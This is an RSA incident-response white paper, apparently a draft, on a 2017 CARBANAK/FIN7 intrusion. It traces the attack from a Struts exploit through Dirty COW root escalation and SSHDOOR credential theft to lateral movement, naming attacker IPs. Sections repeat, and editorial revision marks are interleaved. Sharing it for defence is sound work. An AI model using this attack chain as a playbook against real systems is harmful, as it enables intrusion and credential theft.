D44........................................................................... 13 3.2 DETECTION AND RESPONSE.............................................................................. 14 4 INTRUSION DETAILS.......................................................................................... 17 4.1 INITIAL COMPROMISE: APACHE STRUTS2................................................... 17 4.2 LINUX COMPROMISE AND MALICIOUS FILES............................................ 17 4.2.1 Dirty Cow Driver Script and Kre80r Proof of Concept Code.................................................................................................................. 17 4.2.2 SSHDoor Client and Server................................................................................ 20 4.2.3 AudiTunnel............................................................................................................ 22 4.3 LINUX SECONDARY ATTACKER TOOLS................................................... 23 4.3.1 Winexe.................................................................................................................... 23 4.3.2 ALW (Advanced Log Wiper, l)......................................................................... 24 4.3.3 PSCAN..................................................................................................................... 25 4.4 WINDOWS COMPROMISE AND MALICIOUS FILES............................. 26 4.4.1 GOTROJ Remote Access Trojan........................................................................ 26 4.4.2 AudiTunnel (Windows Version)......................................................................... 29 4.5 WINDOWS SECONDARY ATTACKER TOOLS.......................................... 30 4.5.1 TINYP....................................................................................................................... 30 4.5.2 WGET (UIAutomationCore.dll.bin)................................................................... 32 4.5.3 PSCP (PuTTY Secure File Copy)......................................................................... 33 4.5.4 Mimikatz Variant (32-bit, 64-bit)..................................................................... 33 4.5.5 CCS........................................................................................................................... 34 4.5.6 Infos.bmp................................................................................................................ 34 4.5.7 PSCAN (Windows Version)................................................................................. 35 4.6 DETECTION, TRACKING, AND RESPONSE.............................................. 35 4.6.1 Network Visibility and Indicators..................................................................... 36 4.6.2 Host Visibility and Indicators............................................................................. 42 5 CONCLUSION...................................................................................................... 52 6 INDICATORS OF COMPROMISE..................................................................... 54 6.1 ATOMIC INDICATORS OF COMPROMISE........................................................ 54 6.2 BEHAVIORAL INDICATORS OF COMPROMISE.............................................. 55 7 DIGITAL APPENDIX............................................................................................ 56 WHITE PAPER INDEX OF FIGURES Figure 1: Findings from Public and Open Source Research of Toolset Reference......................................................................................... 3 Figure 2: Staged Overview of Engagement.................................................................. 7 Figure 3: Perl Script Download from 95.215.46.116................................................ 8 Figure 4: Metadata Showing w Output, Actions, and Port Usage in IRC Traffic............................................................................................. 9 Figure 5: Download of CVE-2016-5195 Exploit Code and Bash Script Driver.......................................................................................................... 9 Figure 6: Download of Winexe via WGET to ALPHA............................................. 11 Figure 7: Download of ALW and PSCAN from 95.215.46.116............................ 12 Figure 8: AUDITUNNEL Download from 95.215.46.116...................................... 13 Figure 9: Windows Toolset Download of WGET, TINYP, INFOS, CCS, MIMIKATZ, PSCP, and PSCAN............................................... 14 Figure 10: Initial Finding of GOTROJ Communications with Suspect Meta............................................................................................................... 15 Figure 11: Initial Finding of TINYP Lateral Movement.......................................... 15 Figure 12: Contents of 1.sh Dirty COW Shell Script............................................. 18 Figure 13: Contents of c0w Dirty COW Source Code.......................................... 19 Figure 14: Observed Download of 1.sh and c0w from IP 185.61.148.145............................................................................................................... 19 Figure 15: WGET Download of SSHDoor Binary ssh.............................................. 19 Figure 16: RC4 Decrypted authorized_keys Entry and HTTP Format Strings................................................................................................. 20 Figure 17: Credential Harvesting HTTP Request.................................................... 21 Figure 18: Pre-Shared SSH Key Used by SSHDOOR.............................................. 21 Figure 19: XOR 0x41 Traffic for AudiTunnel............................................................. 22 Figure 20: Usage Message for WINEXE Binary........................................................ 24 Figure 21: Usage Message for l Advanced Log Wiper............................................ 25 Figure 22: Usage Message for PSCAN Port Scanning Tool................................... 26 Figure 23: Example Usage of PSCAN Port Scanning Tool..................................... 26 Figure 24: XOR Command Decryption Method....................................................... 27 Figure 25: Annotated Encrypted Form of GOTROJ Communication................................................................................................. 28 Figure 26: Annotated Decrypted Form of GOTROJ Communication................................................................................................. 28 Figure 27: C2 IP Address in ASCII Strings of svcmd.exe........................................ 29 WHITE PAPER Figure 28: XOR Byte Encryption Loop for Send and Receive Buffer...................................................................................................................... 30 Figure 29: Sample Execution of TINYP v.0.7.7.4...................................................... 32 Figure 30: WGET Renamed to UIAutomationCore.dll.bin................................... 33 Figure 31: Download of TINYP Binary with UIAutomationCore.dll.bin................................................................................................ 33 Figure 32: Example Execution and Usage Text of Windows Version of PSCAN................................................................................................................ 35 Figure 33: Query Results for Malicious Tool Downloads...................................... 37 Figure 34: Tunneled SSH Query Results..................................................................... 38 Figure 35: AUDITUNNEL Client Hello Payload Detection and Meta............. 39 Figure 36: GOTROJ Binary Control Traffic and svcmd.exe Beacon Traffic..... 40 Figure 37: Identification of Windows Command Prompt in XOR 0xC0 Decrypted Payload........................................................................................ 40 Figure 38: GOTROJ Beacon Meta From Digital Appendix Content................. 41 Figure 39: Identification of GOTROJ HTTP wget User-Agent......................... 41 Figure 40: File Hash Mismatch and system/init.d Autostart in SSHDOOR Detection.................................................................................................... 43 Figure 41: Malicious Binary Usage in Non-Standard Locations and Without Associated Packages................................................................................ 43 Figure 42: IP Address, Port Switch, and Port Number in Program Arguments........................................................................................................... 44 Figure 43: NetWitness Endpoint Request for All Files in Directory /usr/share/man/mann.................................................................................... 44 Figure 44: Additional Findings via Mass File Download Request for Directory /usr/share/man/mann........................................................... 45 Figure 45: C:\Windows\SysWOW64\zh-TW Working Directory, UIAutomationCore WGET Usage, and TINYP Download and Renaming.......... 46 Figure 46: Instant IOCs Representing UIAutomationCore.dll.bin WGET Binary Activity....................................................................................................... 46 Figure 47: TINYP Execution from Source (Red) and Target (Blue) Perspective................................................................................................. 47 Figure 48: TINYP vs PSEXEC Service Binaries......................................................... 48 Figure 49: TINYP vs PSEXEC  Module Differences.............................................. 48 Figure 50: cmd.exe Calling find.exe as a Piped Directory Listing Search........ 50 Figure 51: qwinsta.exe Being Called by cmd.exe...................................................... 50 Figure 52: Installation of GOTROJ RAT Via Windows Service........................... 51 WHITE PAPER Figure 53: Deletion of GOTROJ Windows Service After Execution................. 51 Figure 54: GOTROJ Process Executing and Network Connection Information................................................................................. 51 Figure 55: C2 IP and Port Identification in Cursory Analysis via Endpoint Module Analyzer............................................................................................... 51 INDEX OF TABLES Table 1: File Information for the SSHDOOR Client Binary (centos-repo.org)................................................................................................................. 21 Table 2: File Information for the SSHDOOR Server Binary (centos-repo.org)................................................................................................................. 21 Table 3: File Information for SSHDOOR Client Binary (slpar.org)..................... 22 Table 4: File Information for SSHDOOR Server Binary (slpar.org).................... 22 Table 5: File Information for AUDITUNNEL.............................................................. 23 Table 6: File Information for WINEXE......................................................................... 24 Table 7: Logs Modified by ALW Log Wiper.................................................................. 25 Table 8: File Information for ALW.................................................................................. 25 Table 9: File Information for PSCAN............................................................................ 26 Table 10: Decoded Commands for GOTROJ Trojan............................................... 27 Table 11: File Information for GOTROJ Version 1.................................................. 29 Table 12: File Information for GOTROJ Version 2.................................................. 29 Table 13: File Information for GOTROJ Version 3.................................................. 29 Table 14: File Information for AUDITUNNEL (Windows Version).................... 30 Table 15: TINYP Arguments and Functions............................................................... 31 Table 16: File Information for TINYP v.0.7.6.2.......................................................... 32 Table 17: File Information for TINYP v.0.7.7.4.......................................................... 32 Table 18: File Information for WGET (UIAutomationCore.dll.bin).................... 33 Table 19: File Information for PSCP.............................................................................. 33 Table 20: File Information for MIMIKATZ Variant (32-bit).................................. 34 Table 21: File Information for MIMIKATZ Variant (64-bit).................................. 34 Table 22: File Information for CCS................................................................................ 34 Table 23: File Information for INFOS........................................................................... 34 Table 24: File Information for PSCAN (Windows Version)................................... 35 Table 25: List of Commands Internal to the Windows Command Processor...................................................................................... 49 Table 26: Cross-Platform Toolset Utilization............................................................ 52 WHITE PAPER 1 1.
GLOSSARY OF TERMS Actions-on-objective: Command execution, file interaction and other actions an attacker may take when interacting with compromised systems.
Lateral movement: The movement of a user session to a system within the network boundaries of an organization from a system also present within the same network boundary.
Internal reconnaissance: Obtaining initial or additional information about systems, users, login methods and network paths of systems internal to an organizations network.
Credential Harvesting: The acquisition and collection of initial or additional user account credentials for use in lateral movement.
Security event: An asset or system action, or communication, that diverges from regular operational activity in a way that the security posture of that asset becomes suspect.
Security incident: A security event or group of security events that have been confirmed, either singularly or in aggregate, as being malicious in intent.
Compromise: Unauthorized, unforeseen or unknown actions conducted on an informational asset that allows for direct and unauthorized access and interaction.
Intrusion: The direct and unauthorized access and interaction of a malicious actor with systems or assets internal to an organizations network.
Staging: The actions involved in occupying and preparing an internal system or asset to secure additional resources and ensure persistence of attacker ingress access.
Declaration: The point in time in which an organization confirms the presence of an attacker in an environment and initiates incident response procedures.
Indicator of Compromise (IOC): A behavior, pattern, network address, computed file hash or other system or network attribute that can be correlated to malicious activity.
WHITE PAPER 2 2.
REPORT SUMMARY This report shares actionable threat intelligence and proven threat hunting and incident response methods used by the RSA Incident Response (IR) Team to successfully respond to an intrusion in early-to-mid 2017 by the threat actor group known as CARBANAK1,  also known as FIN7.
The methodology discussed in this report is designed, and has been tested, to be effective on several currently available security technologies.
While the majority of examples shown in this document use the RSA NetWitness Suite in their illustrations, the methodology, query logic, and behavioral indicators discussed can be used effectively with any security product providing the necessary visibility.
The intrusion and response described in this paper highlight key behavioral tactics, techniques, and procedures (TTP) unique to this engagement, giving significant insight into the thought processes, preparation, and adaptive nature of actors within the CARBANAK threat actor group.
This paper also illustrates the RSA Incident Response Teams Incident Response and Threat Hunting Methodology: an unorthodox, adaptive and highly effective methodology used to successfully detect, investigate, scope, track, contain, and ultimately expel these and many other advanced adversaries.
Several intrusions associated with the CARBANAK actors have been reported within the last year, describing compromises of organizations within banking2, financial3,  hospitality4, and restaurant verticals.
However, they all describe a relatively equivalent progression, with only slight deviation in specific attacker actions.
The intelligence surrounding recent CARBANAK incidents indicate that phishing attacks  have been the groups primary method of initial compromise.
After gaining access to a user system, the attackers move laterally throughout the environment, conduct internal reconnaissance, establish staging points and internal network paths, harvest credentials, and move towards their intended target.
However, this intrusion began with a significantly higher level of privilege due to the exploitation of the Apache Struts vulnerability CVE-2017-5638 that allowed the attackers to quickly gain administrative access within the clients Linux environment.
The intrusion outlined in this report discusses a case that presented substantial challenges due to: 2 Schwartz Sophisticated Carbanak Banking Malware Returns, With Upgrades https://www.bankinfosecurity.com/sophisticated-carbanak-banking-malware-returns- upgrades-a-8523 3 Krebs Payments Giant Verifone Investigating Breach https://krebsonsecurity.com/2017/03/payments-giant-verifone-investigating-breach/ 4 Krebs Hyatt Hotels Suffers 2nd Card Breach in 2 Years https://krebsonsecurity.com/2017/10/hyatt-hotels-suffers-2nd-card-breach-in-2-years/ 5 Miller, Nuce, Vengerik FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html 1 Krebs Krebs on Security  Posts Tagged: Carbanak https://krebsonsecurity.com/tag/carbanak/ https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2017-5638 https://www.bankinfosecurity.com/sophisticated-carbanak-banking-malware-returns-upgrades-a-8523 https://www.bankinfosecurity.com/sophisticated-carbanak-banking-malware-returns-upgrades-a-8523 https://krebsonsecurity.com/2017/03/payments-giant-verifone-investigating-breach/ https://krebsonsecurity.com/2017/10/hyatt-hotels-suffers-2nd-card-breach-in-2-years/ https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html https://krebsonsecurity.com/tag/carbanak/ WHITE PAPER 3 The initial intrusion vector Unique attacker toolset The attacker dwell time The large, heterogeneous environment The speed with which the attackers gained administrative access The forensic mindfulness of the CARBANAK attackers The toolset utilized by the attackers was a mix of custom tools, freely available code, and open source software utilities.
RSA IR researched all 32 of the malicious files in the CARBANAK toolset using various publicly available and open source resources.
Six of the tools used in this intrusion were found to have been uploaded to a publicly available antivirus aggregation site.
Of these six, five of them have little to no detection or indication of malice from antivirus vendors.
This observation explains the reason that the clients signature-based host protection mechanisms were unable to identify or prevent the use of these tools.
Figure 1: Findings from Public and Open Source Research of Toolset Reference While the attackers used more than 30 unique samples of malware and tools, they also demonstrated a normalization across Windows and Linux with respect to their toolset.
The toolsets they deployed can be broken down into five basic functionalities: Ingress/Egress/Remote Access Lateral Movement Log Cleanup Credential Harvesting Internal Reconnaissance TheShadowsofGhosts CaseStudy:CARBANAK  Page 7 The toolset utilized by the attackers was a mix of custom tools, freely available code and open source software utilities.
RSA IR researched all 32 of the malicious files in the CARBANAK toolset using various publicly available and open source resources.
Six of the tools used in this intrusion were found to have been uploaded to a publicly available antivirus aggregation site.
Of these six, five of them have little to no detection or indication of malice from antivirus vendors.
This observation explains the reason that the clients signature-based host protection mechanisms were unable to identify or prevent the use of these tools.
Figure 1: Findings from Public and Open Source Research of Toolset Reference While the attackers used more than 30 unique samples of malware and tools, they also demonstrated a normalization across Windows and Linux with respect to their toolset.
The toolsets they deployed can be broken down into five basic functionalities: Ingress/Egress/Remote Access Lateral Movement Log Cleanup Credential Harvesting Internal Reconnaissance In addition to following this distinct functionality in their toolsets, they normalized functions across different operating system environments in the forms of the two versions of AUDITUNNEL, PSCAN, and the use of WINEXE (Linux) and TINYP (Windows).
This normalization of tools is discussed in more detail later in this paper, but it identifies that not only do CARBANAK actors have the capability to successfully compromise various operating system environments, they have actually standardized and operationalized this capability.
This attribute indicates strategic operational thought and effort being invested in this groups compromises, Deleted: , Deleted: Deleted: Open Deleted: -S Deleted: Deleted: - Comment [A13]: It is VT, but we removed reference to it explicitly and from the image in case there was any issue with referencing them directly.
Comment [A14]: VirusTotal?
Deleted: - Deleted: - Deleted: Anti Deleted: -V Deleted: Deleted: Deleted: As well as Deleted: Operating Deleted: System Formatted: Font:Not Bold Formatted: Font:Not Bold Deleted: Deleted: WHITE PAPER 4 In addition to following this distinct functionality in their toolsets, they normalized functions across different operating system environments in the forms of the two versions of AUDITUNNEL, PSCAN, and the use of WINEXE (Linux) and TINYP (Windows).
This normalization of tools is discussed in more detail later in this paper, but it identifies that not only do CARBANAK actors have the capability to successfully compromise various operating system environments, they have actually standardized and operationalized this capability.
This attribute indicates strategic operational thought and effort being invested in this groups compromises, suggesting that the CARBANAK actors are working towards becoming a more organized, structured, resourceful and mature threat group.
During an intrusion, time is the single most critical resource to an organizations security team and is the most significant indicator of determining if the security team will be successful in containing, eradicating and remediating the extant threat.
There are two specific sets of time related to an intrusion that may determine the difference between success and failure: the time that the attackers are in the environment prior to detection (dwell time) and the time it takes security teams to identify, investigate, understand, and contain the attackers actions (response time).
In this specific incident, the attackers dwell time at intrusion declaration was 35 days, which is a significant amount of time given the level of access immediately available upon compromise.
However, by utilizing the methodology and visibility described in this report, RSA IR was able to complete containment, eradication, and remediation in only nine days.
Further below we discuss the methodology used by RSA IR to successfully detect, investigate, understand, and contain the attackers before the actors could achieve their intended goal.
A significant number of organizations focus on majority systems software, such as Microsoft Windows, for the predominant amount of their visibility.
This often leaves minority systems with very little visibility, protections, or investigative observational points.
Additionally, these minority systems, Linux being the most significant example, often operate key public-facing or critical data-based services.
Not planning for visibility to ensure minority systems are included in threat hunting, vulnerability assessments, network data captures and forensic investigations leads to a false sense of organizational security and ensures that attackers retain a refuge of critical systems inside environments.
The incident discussed in this report illustrates the dangers present within this approach once attackers begin utilizing these systems against organizations.
In this report, we discuss the ways the CARBANAK actors utilized these systems and the methodology used by RSA IR to successfully respond to this threat.
It highlights the progression of analysis from threat hunting and initial detection to root cause analysis, incident scoping and follow-on investigation.
The majority of the analysis conducted during this engagement was WHITE PAPER 5 performed using RSAs flagship product, RSA NetWitness Suite.
During this investigation, RSA IR utilized RSA NetWitness Logs and Packets (formerly RSA Security Analytics) for network visibility and RSA NetWitness Endpoint (formerly RSA ECAT) for endpoint visibility.
These marquee technologies allow RSA IR and client analysts to process massive data sets, find forensically interesting artifacts in near real time and do both more quickly than utilizing standard incident response and forensic procedures.
The purpose of this report is to share actionable threat intelligence associated with a persistent adversary, discuss the RSA Incident Response Teams Threat Hunting and Response Methodology in practice, and illustrate the use of this methodology as used by RSA IR analysts during a live intrusion.
To that end, the Threat Hunting methodology, examples of detected activity and Incident Response procedures illustrated in this report have been described in a manner that can be effectively implemented by any security technology that affords the analyst the necessary visibility.
RSA IR also includes a Digital Appendix containing file hashes, domain and IP addresses, and detection content for both RSA NetWitness Endpoint and RSA NetWitness Logs and Packets.
While the detection content has been written specifically for the RSA NetWitness Suite, each parser and query contains detailed descriptions of their detection mechanisms for implementation into any available toolset with appropriate visibility.
The hope is that by publishing this report, RSA IR encourages and empowers operational analysts to utilize Threat Hunting and the RSA IR Methodology within their own environments.
The CARBANAK actors are financially motivated, advanced actors that have historically targeted financial and hospitality laterals, with a recent move into targeting restaurants.6 This threat actor group has shown themselves to be proficient and careful in their toolset utilization, consistently removing evidence of any actions-on-objective as they proceed through an environment.
They have been observed utilizing various malware, methods and communications, with tools and techniques often differing greatly between targets.
While this group has shown technical ingenuity in techniques such as point-of-sale implants,7 Google services command-and- control communications8 and persistence via application shim databases9, they have also shown a propensity for using freely available or open source 6 Mesa, Huss FIN7/CARBANAK Threat Actor Unleashes Bateleur Jscript Backdoor https://www.proofpoint.com/us/threat-insight/post/fin7carbanak-threat-actor-unleashes- bateleur-jscript-backdoor 7 KYaneza Signed PoS Malware Used in Pre-Holiday Attacks, Linked to Targeted Attacks http://blog.trendmicro.com/trendlabs-security-intelligence/signed-pos-malware-used-in-pre- holiday-attacks-linked-to-targeted-attacks/ 8 Griffin CARBANAK Group Uses Google for Malware Command-and-Control https://blogs.forcepoint.com/security-labs/carbanak-group-uses-google-malware-command- and-control 9 Erikson, McWhirt, Palombo To SDB, or Not to SDB: FIN7 Leveraging Shim Databases for Persistence https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html https://www.proofpoint.com/us/threat-insight/post/fin7carbanak-threat-actor-unleashes-bateleur-jscript-backdoor https://www.proofpoint.com/us/threat-insight/post/fin7carbanak-threat-actor-unleashes-bateleur-jscript-backdoor http://blog.trendmicro.com/trendlabs-security-intelligence/signed-pos-malware-used-in-pre-holiday-attacks-linked-to-targeted-attacks/ http://blog.trendmicro.com/trendlabs-security-intelligence/signed-pos-malware-used-in-pre-holiday-attacks-linked-to-targeted-attacks/ https://blogs.forcepoint.com/security-labs/carbanak-group-uses-google-malware-command-and-control https://blogs.forcepoint.com/security-labs/carbanak-group-uses-google-malware-command-and-control https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html WHITE PAPER 6 toolsets for much of their lateral activities.
Whatever the methods used, CARBANAK has shown themselves to be highly persistent and determined actors, able to rapidly compromise and traverse various environments while quickly adapting to internal security controls.
This white paper covers a sampling of observed indicators derived and utilized during this engagement.
Included are the details regarding the observed intrusion vector, entrenchment techniques, actions-on-objective, lateral movement tools and methods, unique malicious files, and behavioral indicators utilized in the identification, tracking and response of this actor group.
Included with the publication of this report is a Digital Appendix, containing content for RSA NetWitness Logs and Packets and RSA NetWitness Endpoint used to identify and track attacker activity throughout the environment during this incident.
All content should be tested before full integration into RSA NetWitness Endpoint, RSA NetWitness Logs and Packets or third-party tools to prevent any adverse effects from unknown environmental variables.
More information on the associated Digital Appendix is found in Section 7.
Disclaimer: This white paper and related graphics are provided for informational and/or educational purposes.
The information contained in this document is intended only as general guidance and is not legal advice.
Although the greatest care has been taken in the preparation and compilation of this white paper, RSA, its servants and/or agents will accept no liability or responsibility of any kind.
This white paper is not intended to be a substitute for legal or other professional advice, and constitutes the opinions of the author(s).
All information gathered is believed correct as of October 2017.
Corrections should be sent to RSA for future editions.
Redistribution or reproduction of this document is prohibited without written permission of RSA.
WHITE PAPER 7 3.
INTRUSION OVERVIEW 3.1 ANATOMY OF ATTACK In researching this white paper, the majority of intelligence and incident reports reviewed described phishing and malicious document-related tactics being utilized by CARBANAK actors as a method of initial compromise.
However, the initial method of compromise observed during this engagement utilized the Apache Struts Content-Type arbitrary command execution vulnerability, CVE-2017-5638.10 This vulnerability has since been patched by the Apache Software Foundation, and the recommended remediation process is available on their website.11 While the time-tested method of compromising the user base as the initial ingress method is still very effective, server-level compromises commonly give attackers a significant escalation in initial privilege, as well as a shorter path between initial compromise and end-target data.
This allows them greater rights and versatility upon initial compromise while making it harder for defenders to stop them on the initially compromised system.
An anatomy of the engagement, broken into the primary stages, is illustrated in Figure 2.
Figure 2: Staged Overview of Engagement Upon determining that the initially compromised web server, designated as system ALPHA, was vulnerable to CVE-2017-5638, the rest of the attacker actions could be grouped into the eight stages illustrated in Figure 2.
These phases are described further in the remainder of Section 3.
All binaries, with the exception of the b Perl script, are described in detail in Section 4.
TheShadowsofGhosts CaseStudy:CARBANAK  Page 10 3 Intrusion Overview 3.1 Anatomy of Attack In researching this white paper, the majority of intelligence and incident reports reviewed described phishing and malicious document-related tactics being utilized by CARBANAK actors as a method of initial compromise.
However, the initial method of compromise observed during this engagement utilized the Apache Struts content-type arbitrary command execution vulnerability, CVE-2017-5638.10 This vulnerability has since been patched by the Apache Software Foundation, and the recommended remediation process is available on their website.11 While the time-tested method of compromising the user base as the initial ingress method is still very effective, server-level compromises commonly give attackers a significant escalation in initial privilege, as well as a shorter path between initial compromise and end-target data.
This allows them greater rights and versatility upon initial compromise while making it harder for defenders to stop them on the initially compromised system.
An anatomy of the engagement, broken into the primary stages, is illustrated in Figure 2.
10 Common Vulnerabilities and Exposures https://cve.mitre.org/cgi- bin/cvename.cgi?nameCVE-2017-5638 11 Apache Struts Documentation: S2-046 https://struts.apache.org/docs/s2-046.html Deleted: Deleted: Content Comment [A21]: Add reference to Mitre database entry: https://cve.mitre.org/cgi- bin/cvename.cgi?nameCVE-2017-5638 Formatted: Font:Not Bold Deleted: .
Deleted: Deleted: Figure 2Figure 2 Comment [A23]: This should be properly branded and within RSA styleguide.
Creative team can do this.
It will take a minimum of 3 business days.
Comment [A22]: Do you know where I could find the style guide?
My searches have come up short, and we can have this addressed before submission to you guys going forward.
10 Common Vulnerabilities and Exposures https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2017-5638 11 Apache Struts Documentation: S2-046 https://struts.apache.org/docs/s2-046.html https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2017-5638 https://struts.apache.org/docs/s2-046.html WHITE PAPER 8 3.1.1 Phase 1: D0 Initial Compromise, Initial Code Execution Attackers from IP 185.117.88.97 utilize CVE-2017-5638 to download and execute a Perl script on ALPHA.
The Perl script was downloaded via WGET from IP 95.215.45.116.
This action constitutes the moment of initial compromise and is referenced in this document as D.  All other times discussed in this report will use this moment as a reference in their notation, such that D2 refers to two days after initial compromise.
The metadata created by RSA NetWitness Suite describing this action is shown in Figure 3.
TheShadowsofGhosts CaseStudy:CARBANAK  Page 11 Figure 2: Staged Overview of Engagement Upon determining that the initially compromised web server, designated as system ALPHA, was vulnerable to CVE-2017-5638, the rest of the attacker actions could be grouped into the eight stages illustrated in Figure 2.
These phases are described further in the remainder of Section 3.
All binaries, with the exception of the b Perl script, are described in detail in Section 4.
3.1.1Phase 1: D0 Initial Compromise, Initial Code Execution Attackers from IP 185.117.88.97 utilize CVE-2017-5638 to download and execute a Perl script on ALPHA.
The Perl script was downloaded via WGET from IP 95.215.45.116.
This action constitutes the moment of initial compromise and is referenced in this document as D. All other times discussed in this report will use this moment as a reference in their notation, such that D2 refers to two days after initial compromise.
The metadata created by RSA NetWitness Suite describing this action is shown in Figure 3.
Figure 3: Perl Script Download from 95.215.46.116 3.1.2Phase 2: D0 Internal Reconnaissance, Privilege Escalation, Persistence Six minutes after the download and execution of the Perl script, system ALPHA began communicating with IP address 95.215.46.116 via IRC.
While the available full packet capture retention did not extend to this date at the time of analysis, the metadata created was still available.
While RSA was unable to review the raw data to determine actions taken, RSA IR was able to determine traffic type, as well as infer the intention of the nature of actions taken via this channel.
It appeared that this IRC communication was a method of remote command execution conducted by the attackers, evidenced by the presence of an output from the w User Activity Linux binary.
This is illustrated in Figure 4.
Deleted: Figure 2Figure 2 Deleted: Deleted: Deleted: Deleted: .
Deleted: Deleted: Deleted: Deleted: Figure 3: Perl Script Download from 95.215.46.116 3.1.2 Phase 2: D0 Internal Reconnaissance, Privilege Escalation, Persistence Six minutes after the download and execution of the Perl script, system ALPHA began communicating with IP address 95.215.46.116 via IRC.
While the available full packet capture retention did not extend to this date at the time of analysis, the metadata created was still available.
While RSA was unable to review the raw data to determine actions taken, RSA IR was able to determine traffic type, as well as infer the intention of the nature of actions taken via this channel.
It appeared that this IRC communication was a method of remote command execution conducted by the attackers, evidenced by the presence of an output from the w User Activity Linux binary.
This is illustrated in Figure 4.
WHITE PAPER 9 Figure 4: Metadata Showing w Output, Actions and Port Usage in IRC Traffic While the attackers attempted to use the sudo administrative privilege binary to gain root access, the privilege-separation user the web server was running as did not have the necessary permission.
In response to this, the attackers downloaded a copy of C source Proof of Concept (PoC) code written by KrE80r to exploit the Linux Kernel Copy-on-Write Dirty COW vulnerability, CVE-2016-5195.12 This vulnerability has since been resolved by the major Linux distributions, with the list of patched kernels found on GitHub.13  At the same time, the attackers downloaded a Bash shell script as a driver for the exploit code, named 1.sh.
This allowed the attackers to gain root privileges on the system at the 27-minute mark.
The observed download is shown in Figure 5.
Figure 5: Download of CVE-2016-5195 Exploit Code and Bash Script Driver TheShadowsofGhosts CaseStudy:CARBANAK  Page 13 Figure 5: Download of CVE-2016-5195 Exploit Code and Bash Script Driver While the attackers now had root level access, they did not have user credentials to move laterally within the environment.
In order to gain that access, the attackers downloaded versions of the OpenSSH 5.3p1 client and server binaries that had been trojanized with malware known as SSHDOOR,14 and installed them onto host ALPHA.
The SSHDOOR malware will beacon out to IP 185.61.148.96 every 10 minutes until a response is received.
A secondary function of this malware was credential theft, by which SSHDOOR sends the username, password and source/destination host to the attackers.
The attackers then disengage, leaving the malware to collect credentials until the next day.
3.1.3Phase 3: D1 through D3 Lateral Movement, Secondary Ingress, Internal Reconnaissance, Credential Harvesting Upon gaining credentials via the SSHDOOR malware, attackers respond to the SSHDOOR beaconing and establish an SSH tunnel to IP 95.215.46.116 over TCP port 443.
In reviewing the configuration and running processes on ALPHA, the attackers observed that the system was running winbind, the UNIX implementations of Microsoft RPC, Pluggable Authentication Modules (PAM) and the name service switch (NSS).
This service allows for unified logins across UNIX systems and Microsoft Windows Active Directory (AD).
Winbind is a component of samba, the Windows interoperability suite for Linux and UNIX, which stores information about Windows Active Directory in its configuration files.
After observing this service running on the system, the attackers checked these configuration files for the DNS names of the Microsoft Windows Domain Controllers used by winbind to authenticate AD accounts.
Upon conducting a DNS query for the domain name in the configuration file, the attackers gained the names and IP addresses of the two primary DNS servers (also Windows Domain Controllers) and the server listed in the configuration file.
Subsequently, the attackers download a tool named WINEXE, a Linux binary that allows remote command execution on Windows systems.
14 Linux.
Sshdoor https://www.symantec.com/security_response/writeup.jsp?docid2013- 012808-1032-99 Deleted: Deleted: Comment [A27]: Add reference.
Suggest either GitHub or Microsofts Malware Encyclopedia entry Formatted: Font:Not Bold Formatted: Font:Not Bold Deleted: , Deleted: Deleted: , Deleted: Deleted: Deleted: , Deleted: Comment [A28]: Add company name during first use of a specific product or Windows component.
Can drop to just Windows or AD after first use.
Deleted: Deleted: Deleted: Deleted: TheShadowsofGhosts CaseStudy:CARBANAK  Page 12 Figure 4: Metadata Showing w Output, Actions and Port Usage in IRC Traffic While the attackers attempted to use the sudo administrative privilege binary to gain root access, the privilege-separation user the web server was running as did not have the necessary permission.
In response to this, the attackers downloaded a copy of C source Proof of Concept (PoC) code written by KrE80r to exploit the Linux Kernel Copy-on-Write Dirty COW vulnerability, CVE-2016-5195.12 This vulnerability has since been resolved by the major Linux distributions, with the list of patched kernels found on GitHub.13  At the same time, the attackers downloaded a Bash shell script as a driver for the exploit code, named 1.sh.
This allowed the attackers to gain root privileges on the system at the 27-minute mark.
The observed download is shown in Figure 5.
12 Common Vulnerabilities and Exposures https://cve.mitre.org/cgi- bin/cvename.cgi?nameCVE-2016-5195 13 Benvenuto Patched Kernel Versions https://github.com/dirtycow/dirtycow.github.io/wiki/Patched-Kernel-Versions Comment [A24]: Call-outs are not properly branded.
Comment [A25]: Not sure how you mean Deleted: , Deleted: Comment [A26]: Add reference: https://cve.mitre.org/cgi- bin/cvename.cgi?nameCVE-2016-5195 Formatted: Font:Not Bold Formatted: Font:Not Bold Deleted: .
Deleted: Deleted: 12 Common Vulnerabilities and Exposures https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2016-5195 13 Benvenuto Patched Kernel Versions https://github.com/dirtycow/dirtycow.github.io/wiki/Patched-Kernel-Versions https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2016-5195 https://github.com/dirtycow/dirtycow.github.io/wiki/Patched-Kernel-Versions WHITE PAPER 10 While the attackers now had root level access, they did not have user credentials to move laterally within the environment.
In order to gain that access, the attackers downloaded versions of the OpenSSH 5.3p1 client and server binaries that had been trojanized with malware known as SSHDOOR,14 and installed them onto host ALPHA.
The SSHDOOR malware will beacon out to IP 185.61.148.96 every 10 minutes until a response is received.
A secondary function of this malware was credential theft, by which SSHDOOR sends the username, password and source/destination host to the attackers.
The attackers then disengage, leaving the malware to collect credentials until the next day.
3.1.3 Phase 3: D1 through D3 Lateral Movement, Secondary Ingress, Internal Reconnaissance, Credential Harvesting Upon gaining credentials via the SSHDOOR malware, attackers respond to the SSHDOOR beaconing and establish an SSH tunnel to IP 95.215.46.116 over TCP port 443.
In reviewing the configuration and running processes on ALPHA, the attackers observed that the system was running winbind, the UNIX implementations of Microsoft RPC, Pluggable Authentication Modules (PAM) and the name service switch (NSS).
This service allows for unified logins across UNIX systems and Microsoft Windows Active Directory (AD).
Winbind is a component of samba, the Windows interoperability suite for Linux and UNIX, which stores information about Windows Active Directory in its configuration files.
After observing this service running on the system, the attackers checked these configuration files for the DNS names of the Microsoft Windows Domain Controllers used by winbind to authenticate AD accounts.
Upon conducting a DNS query for the domain name in the configuration file, the attackers gained the names and IP addresses of the two primary DNS servers (also Windows Domain Controllers) and the server listed in the configuration file.
Subsequently, the attackers download a tool named WINEXE, a Linux binary that allows remote command execution on Windows systems.
